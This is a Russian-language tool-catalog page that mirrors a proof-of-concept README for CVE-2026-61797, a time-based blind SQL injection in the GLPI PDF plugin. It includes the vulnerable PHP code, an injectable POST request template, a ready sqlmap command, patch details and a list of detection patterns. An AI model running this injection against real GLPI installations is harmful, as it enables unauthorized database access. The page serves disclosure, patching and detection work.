Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-61797 — Proof of Concept для CVE-2026-61797 — time-based blind SQL-инъекция в PDF-плагине GLPI с валидацией через sqlmap и рекомендациями по обнаружению. | Kitploit
Инструменты/GitHubGitHub/itres-labs/cve-2026-61797
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubitres-labs/cve-2026-61797

CVE-2026-61797

Proof of Concept для CVE-2026-61797 — time-based blind SQL-инъекция в PDF-плагине GLPI с валидацией через sqlmap и рекомендациями по обнаружению.

Репозиторий
12021 дней назадЕщё не проверено
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-61797 — GLPI PDF Plugin Time-Based Blind SQL Injection

Proof of Concept для CVE-2026-61797, уязвимости time-based blind SQL Injection, затрагивающей плагин GLPI PDF.

Уязвимость доступна через:

/marketplace/pdf/front/preference.form.php

В уязвимой реализации контролируемые пользователем значения из POST-массива item вставляются в SQL-запросы без должной параметризации.

Аутентифицированный пользователь GLPI с низкими привилегиями может использовать это поведение для внедрения SQL-выражений и получения информации о базе данных через временные задержки ответа.


Уязвимость

ПолеЗначение
CVECVE-2026-61797
ПродуктGLPI PDF Plugin
Тестируемая версия4.1.2
Исправленная версия4.1.3
УязвимостьTime-Based Blind SQL Injection
АутентификацияТребуется в тестируемой ветке 4.1.2
Вектор атакиСеть
Взаимодействие с пользователемОтсутствует
База данныхMySQL
CVSS6.1 / 10
AdvisoryGHSA-wwr3-v347-c64m

Уязвимый код в конечном итоге помещает контролируемый атакующим ключ item в поле tabref SQL-запроса INSERT.

Концептуально уязвимая операция выглядела так:

foreach ($_POST['item'] as $key => $val) {
    $DB->doQuery("INSERT INTO `glpi_plugin_pdf_preferences`
        (`id`, `users_id`, `itemtype`, `tabref`)
        VALUES (
            NULL,
            '" . $_SESSION['glpiID'] . "',
            '" . $_POST['plugin_pdf_inventory_type'] . "',
            '$key'
        )");
}

Поскольку $key становится частью SQL-запроса, специально сформированный ключ массива может изменить итоговый запрос.


Требования

Для PoC требуется:

  • Экземпляр GLPI, на котором запущена уязвимая версия плагина PDF.
  • Действительная аутентифицированная сессия GLPI.
  • Действительный CSRF-токен.
  • sqlmap.
  • Разрешение на тестирование целевой системы.

PoC был проверен на PDF Plugin 4.1.2.


Proof of Concept

Перехватите легитимный запрос к:

POST /marketplace/pdf/front/preference.form.php

и сохраните его как:

glpi.sqli

Минимальное тело запроса, подходящее для отметки точки инъекции:

plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>

Символ * указывает sqlmap, какая часть запроса должна быть протестирована.

Пример структуры запроса:

POST /marketplace/pdf/front/preference.form.php HTTP/1.1
Host: glpi.example.test
Content-Type: application/x-www-form-urlencoded
Cookie: <VALID_GLPI_SESSION>

plugin_pdf_user_preferences_save=1&plugin_pdf_inventory_type=Computer&item[0*]=1&_glpi_csrf_token=<CSRF_TOKEN>

Проверка с помощью sqlmap

Запустите:

sqlmap \
  -r glpi.sqli \
  --csrf-url "https://glpi.example.test/front/preference.php" \
  --csrf-token "_glpi_csrf_token" \
  --cookie "<VALID_GLPI_SESSION>" \
  --technique=T \
  --level=5 \
  --risk=1 \
  --batch

Уязвимая установка должна быть идентифицирована как принимающая time-based blind SQL injection в пользовательской точке инъекции POST.

Типичное обнаружение выглядит так:

Parameter: #1* ((custom) POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind

Техника основана на условных задержках MySQL, таких как SLEEP(), для определения того, вычисляется ли внедрённое условие как истинное.

Данный репозиторий намеренно ограничивает документированный PoC проверкой уязвимости и не предоставляет команд для выгрузки базы данных или извлечения учётных данных.


Технические детали

Уязвимый запрос достигает:

plugins/pdf/front/preference.form.php

Приложение обрабатывает значения, подобные:

item[<USER_CONTROLLED_VALUE>]=1

PHP преобразует это в ассоциативный массив, где атакующий контролирует ключ массива.

Этот ключ позже используется плагином как $key и в уязвимой версии конкатенируется напрямую в SQL-запрос.

Итоговый поток данных фактически таков:

HTTP POST
   |
   v
$_POST['item']
   |
   v
array key ($key)
   |
   v
SQL string concatenation
   |
   v
MySQL

Таким образом, time-based полезная нагрузка может влиять на SQL-выражение и заставлять базу данных намеренно задерживать ответ, когда переданное условие истинно.

Поскольку приложение не возвращает результаты SQL-запроса напрямую, эксплуатация выполняется как blind SQL injection.


Патч

Проблема была исправлена в PDF Plugin 4.1.3.

Уязвимые операции с «сырым» SQL были заменены на более безопасные механизмы базы данных/ORM и дополнительную логику авторизации.

Пользователям следует обновиться до:

PDF Plugin >= 4.1.3

или более нового поддерживаемого релиза.


Обнаружение

Защитникам может быть полезно проверять HTTP-запросы, направленные на:

/marketplace/pdf/front/preference.form.php

с необычными именами параметров item[...].

Особенно подозрительные шаблоны включают SQL-синтаксис или функции временных задержек внутри ключа массива, например ссылки на:

SLEEP(
SELECT
AND
OR
||
'
"

Повторяющиеся POST-запросы к этой конечной точке, за которыми следуют стабильные многсекундные задержки ответа, также могут указывать на попытки эксплуатации time-based blind SQL injection.


Ответственное использование

Данный Proof of Concept предоставляется исключительно для:

  • исследований в области безопасности;
  • проверки уязвимостей;
  • тестирования на проникновение, выполняемого с разрешения;
  • защитной валидации;
  • инженерии обнаружения.

Не используйте его против систем, которыми вы не владеете и на тестирование которых у вас нет явного разрешения.

Авторы не несут ответственности за несанкционированное или противоправное использование данного материала.


Благодарности

Исследование уязвимости и оригинальный технический анализ:

ITRESIT Labs — Javier Medina

Оригинальное исследование:

https://labs.itresit.es/2026/09/14/source-driven-recon-when-the-patch-becomes-the-poc-and-what-cve-2026-61797-taught-us-about-disclosure-opsec/

CVE:

CVE-2026-61797

GitHub Security Advisory:

GHSA-wwr3-v347-c64m

Отказ от ответственности

Данный репозиторий предназначен исключительно для образовательных целей и авторизованного тестирования безопасности.

Всегда получайте явное разрешение перед тестированием систем, которыми вы не владеете.

Скачать инструмент